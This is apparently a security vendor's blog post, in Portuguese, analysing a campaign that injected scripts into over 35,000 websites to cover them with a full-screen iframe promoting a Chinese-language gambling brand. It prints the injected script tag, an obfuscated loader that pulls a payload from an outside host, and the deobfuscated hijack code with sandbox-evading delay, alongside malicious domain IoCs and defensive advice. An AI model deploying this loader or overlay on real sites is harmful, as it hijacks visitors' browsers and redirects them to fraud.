Skip to main content
Blog
Blog Attacks

Mais de 35.000 Sites Visados num Sequestro de Página Inteira Associado a um Golpe de Apostas em Língua Chinesa

Uma nova campanha de malware comprometeu mais de 35.000 sites, injetando um script malicioso a partir dos sites listados abaixo. Assim que o script é carregado, sequestra completamente a janela do navegador do utilizador, redirecionando-o frequentemente para páginas que promovem uma plataforma de apostas (ou casino) em língua chinesa.

Feb 20, 2025 7 min read
+35000-sites-attacked-image-cover

Resumo: sequestro de página inteira Kaiyun ZuizhongJS mlbetjs em 35 mil sites

  • Sites anónimos, ignorados: A maior parte da atenção vai para ataques direcionados a marcas conhecidas, mas esta campanha sequestrou mais de 35.000 sites, na sua maioria anónimos, para promover a marca de apostas Kaiyun. Passou despercebida porque o tráfego da vítima média não está na lista de alerta de ninguém.
  • Os IOCs: O Mlbetjs[.]com atingiu mais de 18.000 sites, o ptfafajs[.]com mais de 9.000, o zuizhongjs[.]com mais de 4.800, e o payload usava um atraso randomNum de 500-1000 ms para contornar sandboxes antes de escrever um iframe em ecrã inteiro com z-index 2147483647. O agente JavaScript first-party da cside observa o comportamento em runtime de cada script em tempo real e já tinha bloqueado a injeção para os nossos utilizadores.
  • Migre para um inventário runtime: Se o seu inventário de JS de terceiros ainda vive numa folha de cálculo, não tem forma de saber se um único script mlbetjs injetado está a redirecionar silenciosamente o seu tráfego para a Kaiyun. Migre para um inventário de scripts em runtime esta semana.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

Uma nova campanha de malware comprometeu mais de 35.000 sites, injetando um script malicioso a partir dos sites listados abaixo. Assim que o script é carregado, sequestra completamente a janela do navegador do utilizador, redirecionando-o frequentemente para páginas que promovem uma plataforma de apostas (ou casino) em língua chinesa.

O ataque parece ter como alvo, ou originar-se de, regiões onde o mandarim é comum, e as páginas de destino finais apresentam conteúdo de apostas sob a marca "Kaiyun".

Lista de Indicadores de Comprometimento (IoCs):

Encontrou redirecionamentos semelhantes ou novos IoCs? Partilhe-os ou contacte a nossa equipa. Ao reunirmos dados, conseguimos identificar e desmantelar ameaças em evolução com mais rapidez.

Todos os sites listados acima exibem a seguinte mensagem:

Página de substituição exibida em sites sequestrados com a mensagem Parabéns, o site foi criado com sucesso

Traduzido:

Parabéns, o site foi criado com sucesso! Este é o index.html predefinido. Esta página é gerada automaticamente pelo sistema. Esta página é o index.html no diretório raiz do FTP Pode modificar, eliminar ou substituir esta página Para informações relacionadas com o FTP, aceda a "Painel do Sistema > FTP" para visualizar

O Processo de Infeção

Como exemplo, analisámos o zuizhongjs[.]com.

Os atacantes inserem uma etiqueta <script> de uma linha, referenciando zuizhongjs[.]com, diretamente nos ficheiros do site (por exemplo, no <head> ou no final do <body>). Segue-se um exemplo do código injetado:

<script language="javascript"
        src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
        type="text/javascript"></script>

Loader Ofuscado

Dentro do ficheiro carregado, os atacantes utilizam um trecho de JavaScript que escreve outro elemento de script para obter malware adicional:

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

O código acima usa concatenação de strings e eval() para ocultar o seu verdadeiro propósito. Injeta uma nova etiqueta <script>, obtendo o payload principal a partir do mesmo domínio malicioso.

Payload Principal (Desofuscado)

Abaixo está uma versão simplificada do script principal, mostrando as funcionalidades-chave:

function isMobile() {
    return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}

var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";

function getIosVersion() {
    var str = navigator.userAgent.toLowerCase();
    var ver = str.match(/cpu iphone os (.*?) like mac os/);
    return ver ? parseInt(ver[1].slice(0,2)) : false;
}



var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

function randomNum(minNum, maxNum) {
    return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}

const time = randomNum(500, 1000);
console.log(time);

document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');

Principais Conclusões

  1. Deteção de Dispositivo
  • Utiliza funções como isMobile(), getIosVersion(), isIOS para adaptar o payload a dispositivos ou sistemas operativos específicos.
  1. Atraso Aleatório
  • randomNum(500, 1000) introduz um atraso de 500 a 1000 ms para evitar varrimentos automatizados ou deteção em sandbox.
  1. Sequestro em Ecrã Inteiro
  • O código injeta um elemento que cobre completamente a página, substituindo todo o conteúdo original.
  1. URL Ofuscado
  1. Redirecionamento Final

Os atacantes parecem direcionar o tráfego para um site de apostas (ou casino) em língua chinesa que opera sob a marca "Kaiyun".

Durante a nossa análise, identificámos algumas variantes em sites infetados:

Variante da página de apostas em chinês Kaiyun exibida num site infetado
Outra variante da página de apostas Kaiyun exibida num site infetado

Alguns IPs ou regiões veem uma página a indicar que o acesso está bloqueado. Esta instrui os utilizadores a contactar um e-mail ou o "suporte online", possivelmente para filtrar investigadores de segurança ou reduzir tráfego indesejado.

Página de acesso bloqueado a instruir os visitantes a contactar um e-mail ou o suporte online

Possível Ligação ao Exploit da Megalayer

A nossa análise sugere que esta campanha pode estar relacionada com o exploit da Megalayer, conhecido pela distribuição de malware em língua chinesa. Os indícios incluem:

  • Localização: Texto em chinês, referências a públicos falantes de mandarim.
  • Padrões de Domínio: A estrutura do zuizhongjs[.]com, além de múltiplos domínios de redirecionamento a usar .vip ou outros TLDs favorecidos por determinados agentes de ameaça.
  • Táticas de Ofuscação: URLs com escapes Unicode, atrasos baseados em código, entre outros.

Como Proteger o Seu Site

A cside analisa o payload de cada pedido de script em tempo real. Caso um script tente carregar uma versão maliciosa, identificamo-lo, bloqueamos o carregamento e alertamos a sua equipa.

A cside já bloqueou este ataque para os nossos utilizadores através de análise em tempo real e defesa proativa. Se suspeitar que o seu site está infetado, contacte imediatamente o seu fornecedor de segurança ou de alojamento.

  1. Auditar o Código-Fonte
  • Verifique o seu HTML, ficheiros de tema e templates do CMS à procura de etiquetas não autorizadas que referenciem zuizhongjs[.]com ou domínios igualmente suspeitos.
  1. Bloquear Domínios Maliciosos
  • Use regras de firewall ou bloqueio ao nível do DNS para: zuizhongjs[.]com
  • p11vt3[.]vip (e subdomínios associados)
  1. Monitorize os registos (logs) à procura de pedidos de saída inesperados para estes domínios.
  2. Verificar Modificações Não Autorizadas
  • Reveja regularmente a sua conta de alojamento ou use um verificador de integridade de ficheiros.
  • Qualquer alteração inexplicável em ficheiros essenciais pode indicar uma backdoor ou ponto de injeção.
  1. Content Security Policy (CSP)
  • Restrinja os scripts apenas a domínios de confiança com uma CSP bem definida.
  • Impeça o carregamento de scripts inline e de fontes desconhecidas.
  1. Varrimentos Frequentes do Site
  • Ferramentas como o PublicWWW ou o URLScan podem detetar injeções maliciosas em larga escala.

A campanha de malware ZuizhongJS demonstra como um único script injetado pode sequestrar milhares de sites, redirecionando utilizadores desprevenidos para portais de apostas em língua chinesa. A presença de logótipos conhecidos de futebol e de referências desportivas sugere uma tentativa de aparentar legitimidade, mas toda a operação parece não licenciada ou francamente fraudulenta.

  • Proprietários de Sites: Remova quaisquer scripts injetados, bloqueie domínios maliciosos e reforce a sua configuração de segurança para evitar reinfeção.
  • Investigadores de Segurança: É necessária mais investigação para confirmar a ligação à Megalayer, identificar os métodos exatos de infiltração (por exemplo, plugins de CMS vulneráveis, credenciais roubadas) e rastrear domínios adicionais.

A cside detetou e bloqueou este ataque com sucesso. Se estiver preocupado com possíveis infeções, o nosso sistema pode fornecer análise em tempo real e defesa proativa.

Agende uma chamada/demonstração ou inscreva-se agora.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Vamos mostrar:

Quais scripts de terceiros estão rodando no seu site agora
Como você está em relação aos requisitos 6.4.3 e 11.6.1 do PCI DSS
Qual parte do seu tráfego é de bots e agentes de IA

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário